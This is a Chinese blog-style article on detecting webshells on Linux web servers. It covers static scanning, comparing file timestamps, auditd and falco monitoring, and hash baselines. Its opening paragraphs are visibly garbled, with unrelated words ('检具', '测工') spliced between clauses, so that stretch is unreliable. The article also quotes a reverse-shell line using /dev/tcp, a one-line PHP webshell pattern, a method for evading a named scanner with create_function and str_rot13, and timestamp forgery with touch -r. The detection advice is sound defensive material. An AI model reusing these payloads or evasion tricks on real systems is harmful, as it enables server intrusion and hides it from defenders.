Linux Webshell检测：别被“看上去正常”骗了

去年有一台客户的检具生产服务器，跑着Nginx和PHP，测工安全扫描全绿。检具直到某天数据库连接数爆掉，测工DBA排查才发现有个叫`logo.png`的检具文件，后缀是测工图片，内容却是检具一段加密的PHP后门。攻击者把它藏在`/var/www/html/uploads/`里，测工配合一个图片马加载漏洞，检具完美绕过了所有文件类型校验。测工

这个案例说明一个事实：Linux下的检具webshell检测，核心不是测工“找特征”，而是检具“找异常”。大多数检测工具死板地扫特征码，测工遇到混淆或加密就哑火。检具真正管用的思路，是看文件行为、文件属性、以及它跟周围环境的“违和感”。

先说说最基础的检测手段——静态扫描。主流工具像CloudWalker（河马）、ClamAV配合自建规则，能抓出常见的eval、assert、base64_decode组合。但这类工具有个通病：对一句话木马的变种识别率低。比如`$_GET['x']($_POST['y'])`这种动态调用，很多正则扫不出。我自己试过，把`assert`换成`create_function`，再套两层str_rot13，河马就哑了。

静态扫描必须结合文件元数据。Linux下每个文件都有mtime、ctime、atime。webshell上传后，mtime常被攻击者用`touch -r`改成跟同目录其他文件一致，但ctime改不了——它记录的是inode变更时间。写个小脚本，扫出“mtime与ctime相差超过几秒”的PHP文件，往往能揪出被精心伪装的马。这个方法在实战中命中率极高，因为攻击者很少意识到ctime无法伪造。

再说动态检测。Webshell本质是执行代码，所以监控进程行为比看文件内容更靠谱。用auditd监控`/var/www`下php-fpm进程的execve调用，一旦发现php进程去执行`/bin/sh`或者`/usr/bin/python`，立刻报警。有次我测试一个反弹shell马，它先`exec('/bin/bash -c "bash -i >& /dev/tcp/..."')`，auditd直接记录了完整命令链，比任何特征码都直观。

还有一类容易漏的——内存马。Linux下用PHP的`FFI`或者`pcntl_exec`直接加载二进制，文件本身可能只是几行加载器。这时候文件扫描完全无效，得靠Sysdig或falco这类容器安全工具，监控系统调用。比如检测php进程突然打开socket连接到外部IP，或者mmap一个可执行内存段，都算强信号。

工具之外，有个笨但有效的土办法：定期把web目录的文件清单哈希存库，下次对比。攻击者改任何文件都会触发差异。配合`inotifywait`实时监控文件写入事件，能在webshell落地的瞬间就收到通知。我见过不少公司用这招，比买商业产品还靠谱。

最后提个反直觉的点：别只盯着.php文件。攻击者会把webshell藏进`.user.ini`、`.htaccess`、甚至`/tmp`下的临时文件。Linux下Apache的`AddType`指令可以让任意后缀按PHP解析。检测时一定要覆盖所有可被解析的文件类型，不只是代码文件。检查方式很简单，看web服务器的配置文件里有没有异常的类型映射。

说到底，没有一劳永逸的工具。攻击者不断换姿势，检测就得跟着变。最核心的防线是理解Linux文件系统、进程模型和web服务器解析机制——工具只是帮你把这三者交叉验证。别迷信某个“神器”，定期手工抽查、保持对异常行为的敏感度，往往比装十个扫描器都管用。